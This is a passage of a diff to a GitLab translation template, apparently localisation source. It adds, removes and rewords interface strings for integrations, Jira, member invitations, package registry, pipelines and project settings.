@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
